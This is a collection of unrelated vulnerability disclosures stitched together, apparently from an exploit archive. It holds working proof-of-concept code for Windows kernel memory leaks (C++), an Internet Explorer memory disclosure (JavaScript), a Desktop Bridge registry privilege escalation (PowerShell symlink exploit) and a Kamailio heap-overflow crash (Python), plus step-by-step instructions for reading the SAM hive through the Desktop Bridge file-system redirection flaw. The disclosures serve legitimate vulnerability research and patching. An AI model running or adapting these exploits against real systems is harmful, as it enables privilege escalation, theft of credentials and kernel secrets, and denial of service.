00000070: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
--- cut ---
If we replace the stack-spraying function call in the code with a printf() call, we can immediately spot a number of kernel-mode addresses in the output dump:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: a0 ce 1e 00 00 00 00 00 a0 ce 1e 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 64 0b 00 00 00 40 00 00 ........d....@..
00000030: b8 00 00 00 00 00 00 00 60 6e 83 5d 80 f9 ff ff ........`n.]....
00000040: 00 0d 78 60 80 f9 ff ff 00 00 00 00 80 f9 ff ff ..x`............
00000050: 00 00 00 00 01 00 00 00 00 01 00 00 00 00 00 00 ................
00000060: 10 01 00 00 00 00 00 00 00 70 f5 3f 01 00 00 00 .........p.?....
00000070: 50 0b 10 60 80 f9 ff ff ?? ?? ?? ?? ?? ?? ?? ?? P..`............
--- cut ---
*/
#include <Windows.h>
#include <cstdio>
extern "C"
NTSTATUS
NTAPI
NtRaiseException(
IN PEXCEPTION_RECORD ExceptionRecord,
IN PCONTEXT ThreadContext,
IN BOOLEAN HandleException);
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
static bool initialized = false;
static HPALETTE(*EngCreatePalette)(
_In_ ULONG iMode,
_In_ ULONG cColors,
_In_ ULONG *pulColors,
_In_ FLONG flRed,
_In_ FLONG flGreen,
_In_ FLONG flBlue
);
if (!initialized) {
EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
initialized = true;
}
static ULONG buffer[256];
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}
LONG CALLBACK VectoredHandler(
_In_ PEXCEPTION_POINTERS ExceptionInfo
) {
PrintHex((PBYTE)ExceptionInfo->ExceptionRecord->ExceptionInformation,
sizeof(ExceptionInfo->ExceptionRecord->ExceptionInformation));
ExitProcess(0);
}
int main() {
AddVectoredExceptionHandler(1, VectoredHandler);
// Initialize the exception record.
EXCEPTION_RECORD er;
RtlZeroMemory(&er, sizeof(er));
er.ExceptionAddress = main;
er.ExceptionCode = STATUS_ACCESS_VIOLATION;
er.ExceptionFlags = 0;
er.NumberParameters = 0;
er.ExceptionRecord = NULL;
// Initialize the CPU context.
CONTEXT ctx;
RtlZeroMemory(&ctx, sizeof(ctx));
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(GetCurrentThread(), &ctx);
// Spray the kernel stack with a 0x41 marker byte.
SprayKernelStack();
// Trigger the memory disclosure.
NtRaiseException(&er, &ctx, TRUE);
return 0;
}
/*
We have discovered that the nt!NtQueryInformationThread system call invoked with the 0 information class (ThreadBasicInformation) discloses portions of uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
The specific layout of the corresponding output buffer is unknown to us; however, we have determined that the output size is 48 bytes. At offset 4 of the data, 4 uninitialized bytes from the kernel stack are leaked to the client application. This is most likely caused by compiler-introduced alignment between the first and second field of the structure (4-byte and 8-byte long, respectively). This would also explain why the leak does not manifest itself on x86 builds, as the second field is 4-byte long and therefore must be aligned to 4 instead of 8 bytes.
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call. An example output is as follows:
--- cut ---
00000000: 03 01 00 00 41 41 41 41 00 a0 10 2c f2 00 00 00 ....AAAA...,....
00000010: 90 1b 00 00 00 00 00 00 1c 3a 00 00 00 00 00 00 .........:......
00000020: ff 0f 00 00 00 00 00 00 09 00 00 00 00 00 00 00 ................
--- cut ---
It is clearly visible here that 4 bytes copied from ring-0 to ring-3 remained uninitialized. If the stack spraying function call is commented out, the top 32 bits of raw kernel pointers can be observed in the output.
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
#define ThreadBasicInformation ((THREADINFOCLASS)0)
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
static bool initialized = false;
static HPALETTE(*EngCreatePalette)(
_In_ ULONG iMode,
_In_ ULONG cColors,
_In_ ULONG *pulColors,
_In_ FLONG flRed,
_In_ FLONG flGreen,
_In_ FLONG flBlue
);
if (!initialized) {
EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
initialized = true;
}
static ULONG buffer[256];
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}
int main() {
SprayKernelStack();
BYTE OutputBuffer[48] = { /* zero padding */ };
ULONG ReturnLength;
NTSTATUS st = NtQueryInformationThread(GetCurrentThread(), ThreadBasicInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationThread failed, %x\n", st);
return 1;
}
PrintHex(OutputBuffer, ReturnLength);
return 0;
}
/*
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.
This was tested on IE11 running on Window 7 64-bit with the latest patches applied.
PoC:
=========================================
*/
<!-- saved from url=(0014)about:internet -->
<script>
function main() {
RegExp.input = {toString: f};
alert(RegExp.lastMatch);
}
var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");
function f() {
String.prototype.match.call(input, "bbbbbbbbbb");
}
main();
</script>
/*
=========================================
Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
*/
/*
We have discovered that the nt!NtWaitForDebugEvent system call discloses portions of uninitialized kernel stack memory to user-mode clients, on 64-bit versions of Windows 7 to Windows 10.
The output buffer, and the corresponding temporary stack-based buffer in the kernel are 0xB8 (184) bytes in size. The first 4 and the trailing 0xB0 bytes are zero'ed out at the beginning of the function:
--- cut ---
PAGE:00000001404B1650 xor r14d, r14d
[...]
PAGE:00000001404B1667 mov [rsp+148h+var_E8], r14d
PAGE:00000001404B166C xor edx, edx ; Val
PAGE:00000001404B166E mov r8d, 0B0h ; Size
PAGE:00000001404B1674 lea rcx, [rsp+148h+var_E0] ; Dst
PAGE:00000001404B1679 call memset
--- cut ---
However, the remaining 4 bytes at offset 0x4 are never touched, and so they contain whatever data was written there by the previous system call. These 4 bytes are then subsequently leaked to the user-mode caller. This is most likely caused by compiler-introduced alignment between the first and second field of the structure (4-byte and 8-byte long, respectively). This would also explain why the leak does not manifest itself on x86 builds, as in that case the second field is 4-byte long and therefore must be aligned to 4 instead of 8 bytes.
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call. An example output is as follows:
--- cut ---
00000000: 00 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00 ....AAAA........
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000b0: 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
It is clearly visible here that among all data copied from ring-0 to ring-3, 4 bytes at offset 0x4 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
extern "C" {
NTSTATUS NTAPI NtCreateDebugObject(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, ULONG);
NTSTATUS NTAPI NtWaitForDebugEvent(HANDLE, BOOLEAN, PLARGE_INTEGER, PVOID);
} // extern "C"
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
static bool initialized = false;
static HPALETTE(*EngCreatePalette)(
_In_ ULONG iMode,
_In_ ULONG cColors,
_In_ ULONG *pulColors,
_In_ FLONG flRed,
_In_ FLONG flGreen,
_In_ FLONG flBlue
);
if (!initialized) {
EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
initialized = true;
}
static ULONG buffer[256];
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}
int main() {
HANDLE hDebugObject;
OBJECT_ATTRIBUTES ObjectAttributes;
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, 0);
// Create a debug object.
NTSTATUS st = NtCreateDebugObject(&hDebugObject, GENERIC_ALL, &ObjectAttributes, 0);
if (!NT_SUCCESS(st)) {
printf("NtCreateDebugObject failed, %x\n", st);
return 1;
}
// Spray the kernel stack with a 0x41 marker byte.
SprayKernelStack();
// Trigger the memory disclosure.
BYTE Output[0xb8] = { /* zero padding */ };
LARGE_INTEGER Timeout = { 0 };
st = NtWaitForDebugEvent(hDebugObject, FALSE, &Timeout, Output);
if (!NT_SUCCESS(st)) {
printf("NtWaitForDebugEvent failed, %x\n", st);
return 1;
}
// Print the output data.
PrintHex(Output, sizeof(Output));
return 0;
}
<#
Windows: Windows: Desktop Bridge Virtual Registry Arbitrary File Read/Write EoP
Platform: Windows 1709 (not tested earlier version)
Class: Elevation of Privilege
Summary: The handling of the virtual registry for desktop bridge applications can allow an application to create arbitrary files as system resulting in EoP.
Description:
The desktop bridge functionality introduced in Anniversary edition allows an application to set up a virtual registry to add changes to system hives and user hives without actually modifying the real hives. The configuration of these registry hives is by passing a data structure to the virtual registry driver in the kernel. Loading new hives requires SeRestorePrivilege so the loading of the hives is done in the AppInfo service as part of the Desktop AppX initialization process using the container/silo APIs. In order to have this privilege the registry loader must be called by an administrator, in this case the SYSTEM user.
This is a security issue because the registry hive files are stored inside the user’s profile under %LOCALAPPDATA%\Packages\PackageName\SystemAppData\Helium. It’s possible to replace the directories with mount points/symlinks to redirect file access. This can be used to load arbitrary registry hives including ones not accessible normally by a user, but the most serious consequence of this is if a registry hive is opened for write access the kernel will try and create a couple of log files in the same directory if they don’t already exist. If you redirect the creation of these files to another location using symlinks you can create arbitrary files on disk.
This also applies to the main hive file as well, but the advantage of the log files is the kernel will create them with the same security descriptor as the main hive which means they can be accessed by the normal user afterwards. The known writable hive files which can be abused in this way are:
User.dat
UserClasses.data
Cache\XXXX_COM15.dat
Again we can use the Get/My Office application installed by default. Note that you only need a valid Desktop Bridge application, you don’t need one which actually has a registry.dat file installed as the user hives and com15 hives seem to be created regardless.
This issue is due to a fundamental problem in the implementation of the hive loading APIs, it's dangerous to load hives from a user accessible location as it must be done as an admin to have the required privilege. I've reported similar issues before. Considering the virtual registry driver is the one loading the hive perhaps you could pass a token handle to the driver which the kernel will impersonate during loading, after it's verified the SeRestorePrivilege from the current caller.
NOTE: Please don’t ignore the fact that this can also be used to load arbitrary registry hives that the user normally can’t access, as long the hive is accessible by SYSTEM. I’ve only sent the one issue but you should also ensure that any fix also takes into account the read issue as well.
Proof of Concept:
I’ve provided a PoC as a PowerShell script. You need to install my NtObjectManager module from PSGallery first (using Install-Module NtObjectManager). In order for the exploit to work you need a copy of the Get Office/My Office application installed (I tested with version 17.8830.7600.0).
The exploit works as follows:
* The Helium\Cache folder is renamed to Cache-X.
* The Cache folder is recreated as a mount point which redirects to the object manager directory \RPC Control
* Symbolic links are dropped for the registry hive files. The LOG files are redirected to an arbitrary name in the windows folder.
1) Install the NtObjectManager module and set execution policy for PS to Bypass.
2) Start the Get/My Office application once to ensure the user directories and registry hives have been created.
3) Start the poc in powershell, it should print it’s waiting for you to start the Office Hub application.
4) Start the Get/My Office application, it should be immediately killed.
Note that the PoC will leave the user profile for the Office Hub application broken, you should delete the fake Cache folder and rename the Cache-X folder to try the exploit again.
Expected Result:
The application creation fails or at least the symbolic links aren’t followed.
Observed Result:
Two new files are created in the c:\windows folder with potentially arbitrary names which are also writable by a normal user.
#>
$ErrorActionPreference = "Stop"
Import-Module NtObjectManager
function Test-WritablePath {
Param($Path)
if (Test-Path $Path) {
Use-NtObject($file = Get-NtFile "$Path" -Win32Path) {
return ($file.GrantedAccess -band "WriteData") -eq "WriteData"
}
}
return $false
}
$path = "$env:USERPROFILE\appdata\local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\Cache"
$newpath = "$path-X"
$path = Resolve-Path $path
$files = Get-ChildItem "$path\*.dat"
$linkpath = "\RPC Control"
Rename-Item $path $newpath
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$path", $linkpath, "")
Use-NtObject($list = [NtApiDotNet.DisposableList[NtApiDotNet.NtSymbolicLink]]::new()) {
foreach($file in $files) {
$name = $file.Name
$link = New-NtSymbolicLink "$linkpath\$name" "\??\$newpath\$name"
$list.Add($link) | Out-Null
$link = New-NtSymbolicLink "$linkpath\$name.LOG1" "\??\$env:windir\badger.$name.LOG1"
$list.Add($link) | Out-Null
$link = New-NtSymbolicLink "$linkpath\$name.LOG2" "\??\$env:windir\badger.$name.LOG2"
$list.Add($link) | Out-Null
}
Write-Host "Created links, now start Office Hub to complete"
while($true) {
Use-NtObject($procs = Get-NtProcess -Name "OfficeHubWin32.exe") {
if ($null -ne $procs) {
Write-Host "Found Process"
$procs.Terminate(0)
$procs.Wait()
# Just wait a bit to ensure files released.
Start-Sleep -Seconds 5
break
}
}
Start-Sleep -Seconds 1
}
foreach($file in $files) {
$name = $file.Name
$test_path = "$env:windir\badger.$name.LOG1"
if (Test-WritablePath $test_path) {
Write-Host "Found writable file $test_path"
}
$test_path = "$env:windir\badger.$name.LOG2"
if (Test-WritablePath $test_path) {
Write-Host "Found writable file $test_path"
}
}
}
Windows: Windows: Desktop Bridge VFS EoP
Platform: Windows 1709 (not tested earlier version)
Class: Elevation of Privilege
Summary: The handling of the VFS for desktop bridge applications can allow an application to create virtual files in system folder which can result in EoP.
Description:
The desktop bridge functionality introduced in Anniversary edition allows an application to set up a virtual file system to redirect access to AppData as well as system folders to reduce the amount of changes needed for a converted Win32 application. Access to AppData is automatic but for system folders the application needs to be packaged with a special VFS directory in its installation directory which defines what folders the VFS will redirect.
In theory the behaviour of the VFS could have been implemented entirely in user mode, although that might have been unreliable. Instead it’s implemented using a kernel mode filter driver (specifically in wcnfs.sys) which will rewrite certain file paths and issue a reparse to handle the virtualized files.
The reason this behaviour is a problem is no checks seem to be done on whether the file request is coming from kernel mode or user mode. It’s entirely based on whether file request is operating in the process context of the desktop bridge application. This can lead to issues if kernel code running inside the desktop bridge process context tries to access system files assuming that a non-administrator could not replace them. However when running in a desktop bridge application that cannot be guaranteed. It’s possible to redirect files even if the kernel code is careful to avoid using the per-user Dos Devices directory (\?? Or \DosDevices) and instead uses a direct device path, or more commonly use of the \SystemRoot symbolic link.
An example of kernel code which does this is the NtGetNlsSectionPtr system call. This call will try and open a file of the pattern \SystemRoot\c_%d.nls and map it read only before returning the mapping to the caller. I blogged about abusing this system call (https://googleprojectzero.blogspot.com/2017/08/windows-exploitation-tricks-arbitrary.html) to get an arbitrary file read, even to locked files such as the SAM hive. However in order to exploit the system call you need to force the file c_%d.nls to be redirected to another file using a mount point or another type of symbolic link. This shouldn’t be something that a typical appx file could install nor would it presumably pass through the MS store review so instead we can exploit an implementation flaw in the reparse operation.
When the filter driver detects the application is trying to access a system resource the driver looks up the VFS path in a set of mapping tables which are configured by the daxexec library during the creation of the Desktop Bridge application in the AppInfo service. If a mapping path is discovered then the code will call IoReplaceFileObjectName with the destination path and return STATUS_REPARSE. As a full path needs to be specified for the object manager to restart the parsing operation the driver ensures the path has the volume name prepended (WcnPrependVolumeDeviceName) however what it adds uses the per-user dos device prefix. So a request for an path such as \SystemRoot\c_1337.nls ends up reparsing to \??\c:\Program Files\AppName\VFS\SystemX64\c_1337.nls. As we’re not in a sandbox and the file open request is running inside the current process context we can replace the C: drive either at the process or per-user level and get this reparse operation to redirect anywhere we like.
By exploiting this behavior we can cause NtGetNlsSectionPtr to map read-only any file we like on the system, even bypassing file locking leading to clear EoP. There is one final hurdle to overcome, we don’t really want to have to submit an application to the MS app store to exploit this behavior, so how can we exploit it? All we need is to install an existing application (which a normal user can do) from the store which uses the VFS feature (if the VFS directory doesn’t exist then this isn’t enabled at all I don’t believe) then either inject into that process or just create a new process which inherits the desktop bridge container for that process (which can be done with the appropriate flags to CreateProcess). It turns out that in most cases you don’t even need to install a new application as the Get Office/My Office Adware installed by default on all new installs of Windows 10 now uses Desktop Bridge and VFS for the system folder.
Putting it all together this is how we can exploit this behavior to read arbitrary files:
1. Start a desktop bridge application which uses the VFS feature for the native system folder (so SystemX64 on 64 bit and SystemX86 on 32 bit).
2. Start a new child process from the desktop bridge application specifying the override flag to the PROC_THREAD_ATTRIBUTE_DESKTOP_APP_POLICY attribute to create the process in the same desktop bridge container.
3. Create a fake VFS path drive which points to an arbitrary location by redirecting the root drive.
4. Call NtGetNlsSectionPtr to open the file and map it as read-only.
Note that the reading of files is just an exploitation of the underlying issue. There are a number of places in the kernel as well as in drivers which could be exploited using the same behavior, which might for example load arbitrary drivers off disk or load configuration data from an untrusted location even though the driver was careful about avoiding trivial attacks.
Proof of Concept:
I’ve provided a PoC as a C# project. In order for the exploit to work you need a copy of the Get Office/My Office application installed which matches the native bitness of the platform. This is obviously only an issue on 64 bit windows. I’ve seen both x86 and x64 versions of the application, however I think Enterprise is the only platform which gets the x64 version. If you get an error about Office Hub being a Wow64 process this is the cause. It might be possible to package up the x64 version from a different system and install it manually but I didn’t check that. Therefore for ease just run this on a 32 bit version of Windows.
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
2) Start the Get Office/My Office application
3) Start the poc. It should print that it successfully opened the SAM hive.
Expected Result:
It’s not possible to redirect kernel file requests to arbitrary files.
Observed Result:
It’s possible to redirect the request for the code page file the SAM registry hive which should not be accessible by a normal user.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44313.zip
'''
# Off-by-one heap overflow in Kamailio
- Authors:
- Alfred Farrugia <alfred@enablesecurity.com>
- Sandro Gauci <sandro@enablesecurity.com>
- Fixed versions: Kamailio v5.1.2, v5.0.6 and v4.4.7
- References: no CVE assigned yet
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-05-kamailio-heap-overflow>
- Tested vulnerable versions: 5.1.1, 5.1.0, 5.0.0
- Timeline:
- Report date: 2018-02-10
- Kamailio confirmed issue: 2018-02-10
- Kamailio patch: 2018-02-10
- Kamailio release with patch: 2018-03-01
- Enable Security advisory: 2018-03-19
## Description
A specially crafted REGISTER message with a malformed `branch` or `From tag` triggers an off-by-one heap overflow.
## Impact
Abuse of this vulnerability leads to denial of service in Kamailio. Further research may show that exploitation leads to remote code execution.
## How to reproduce the issue
The following SIP message was used to reproduce the issue with a `From` header containing the `tag` that triggers the vulnerability:
```
REGISTER sip:localhost:5060 SIP/2.0
Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394
To: <sip:1@localhost:5060>
From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg
Call-ID: 8b113457-c6a6-456a-be68-606686d93c38
Contact: sip:1@127.0.0.1:53497
Max-Forwards: 70
CSeq: 10086 REGISTER
User-Agent: go SIP fuzzer/1
Content-Length: 0
```
We used this python script to reproduce the crash:
'''
#!/usr/bin/env python
import socket
import sys
PROTO = "udp"
SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
for _ in range(2):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((sys.argv[1], int(sys.argv[2])))
msg = "REGISTER sip:localhost:5060 SIP/2.0\r\n" \
"Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394\r\n" \
"To: <sip:1@localhost:5060>\r\n" \
"From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg\r\n" \
"Call-ID: 8b113457-c6a6-456a-be68-606686d93c38\r\n" \
"Contact: sip:1@127.0.0.1:53497\r\n" \
"Max-Forwards: 70\r\n" \
"CSeq: 10086 REGISTER\r\n" \
"User-Agent: go SIP fuzzer/1\r\n" \
"Content-Length: 0\r\n" \
"\r\n"
sock.sendall(msg)
'''
Run using:
```
python crash.py <ip> <port>
```
The expected result is a crash in Kamailio.
Notes:
- authentication is not required
- SIP extension does not need to exist
- Message can be sent over TCP or UDP
### GDB backtrace result
Both crashes produce a similar backtrace in GDB:
```
#0 0x00007f08c3f16428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1 0x00007f08c3f1802a in __GI_abort () at abort.c:89
#2 0x0000000000669a6e in qm_debug_frag (qm=0x7f08ba615000, f=0x7f08ba8c70a8, file=0x7f08c0bba514 "tmx: tmx_pretran.c", line=250) at core/mem/q_malloc.c:147
#3 0x000000000066b49e in qm_malloc (qmp=0x7f08ba615000, size=136, file=0x7f08c0bba514 "tmx: tmx_pretran.c", func=0x7f08c0bbb320 <__func__.7497> "tmx_check_pretran", line=250, mname=0x7f08c0bba510 "tmx") at core/mem/q_malloc.c:380
#4 0x00000000006758e8 in qm_shm_malloc (qmp=0x7f08ba615000, size=136, file=0x7f08c0bba514 "tmx: tmx_pretran.c", func=0x7f08c0bbb320 <__func__.7497> "tmx_check_pretran", line=250, mname=0x7f08c0bba510 "tmx") at core/mem/q_malloc.c:1206
#5 0x00007f08c0baf879 in tmx_check_pretran (msg=0x7f08c37a3250) at tmx_pretran.c:250
#6 0x00007f08c0bac901 in t_precheck_trans (msg=0x7f08c37a3250) at tmx_mod.c:858
#7 0x00007f08c0bac939 in w_t_precheck_trans (msg=0x7f08c37a3250, p1=0x0, p2=0x0) at tmx_mod.c:869
#8 0x000000000047b0e4 in do_action (h=0x7fff808ef7e0, a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1067
#9 0x0000000000487df1 in run_actions (h=0x7fff808ef7e0, a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1565
#10 0x00000000004884a7 in run_actions_safe (h=0x7fff808f0860, a=0x7f08c374e6c0, msg=0x7f08c37a3250) at core/action.c:1633
#11 0x0000000000446725 in rval_get_int (h=0x7fff808f0860, msg=0x7f08c37a3250, i=0x7fff808efb44, rv=0x7f08c374e818, cache=0x0) at core/rvalue.c:912
#12 0x000000000044ae11 in rval_expr_eval_int (h=0x7fff808f0860, msg=0x7f08c37a3250, res=0x7fff808efb44, rve=0x7f08c374e810) at core/rvalue.c:1910
#13 0x000000000047aba7 in do_action (h=0x7fff808f0860, a=0x7f08c374f3b0, msg=0x7f08c37a3250) at core/action.c:1043
#14 0x0000000000487df1 in run_actions (h=0x7fff808f0860, a=0x7f08c374f3b0, msg=0x7f08c37a3250) at core/action.c:1565
#15 0x000000000047b050 in do_action (h=0x7fff808f0860, a=0x7f08c374f650, msg=0x7f08c37a3250) at core/action.c:1058
#16 0x0000000000487df1 in run_actions (h=0x7fff808f0860, a=0x7f08c374b610, msg=0x7f08c37a3250) at core/action.c:1565
#17 0x00000000004885b3 in run_top_route (a=0x7f08c374b610, msg=0x7f08c37a3250, c=0x0) at core/action.c:1654
#18 0x000000000059c7dc in receive_msg (
buf=0xa48120 <buf> "REGISTER sip:127.0.0.1:5060 SIP/2.0\r\nVia: SIP/2.0/TCP 127.0.0.1:51315;branch=z340282366920938463463374607431768211455hG4bKecc-65715664045141690323692c170141183460469231731687303715884105859-4b6d-48dc-"..., len=608,
rcv_info=0x7fff808f0c20) at core/receive.c:277
#19 0x00000000004a7b7c in udp_rcv_loop () at core/udp_server.c:554
#20 0x00000000004232d0 in main_loop () at main.c:1626
#21 0x000000000042a97a in main (argc=7, argv=0x7fff808f12d8) at main.c:2646
(gdb)
```
This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.
## Solutions and recommendations
Apply the patch at <https://github.com/kamailio/kamailio/commit/e1d8008a09d9390ebaf698abe8909e10dfec4097> or make use of a release that includes that patch (e.g. v5.1.2, v5.0.6 or v4.4.7).
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within hours of our report.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
'''
Windows: Desktop Bridge Virtual Registry NtLoadKey Arbitrary File Read/Write EoP
Platform: Windows 1703 (version 1709 seems to have fixed this bug)
Class: Elevation of Privilege
Summary: The handling of the virtual registry NtLoadKey callback reloads registry hives insecurely leading to arbitrary file creation resulting in EoP.
Description:
NOTE: This bug seems to have been fixed in 1709, but the fix hasn’t been backported to 1703 (I’ve not checked 1607). I don’t know if the fix was intentional or not, however as (according to https://support.microsoft.com/en-gb/help/13853/windows-lifecycle-fact-sheet) 1703 should be supported until at least September 2018 this should be something you’d consider fixing.
The desktop bridge functionality introduced in Anniversary edition allows an application to set up a virtual registry to add changes to system hives and user hives without actually modifying the real hives. This is implemented through the normal registry callback functionality. One of the callbacks implemented is to handle the NtLoadKey system call (VrpPreLoadKey). On 1703 it doesn’t check for the Application Key flag, but then recalls ZwLoadKey with the arguments passed by the user mode caller. This effectively allows you to circumvent the requirement for SeRestorePrivilege as will also create a new hive file with kernel privileges in the context of the current user. This is a trivial EoP by dropping a arbitrary file to disk then getting system privileges.
Proof of Concept:
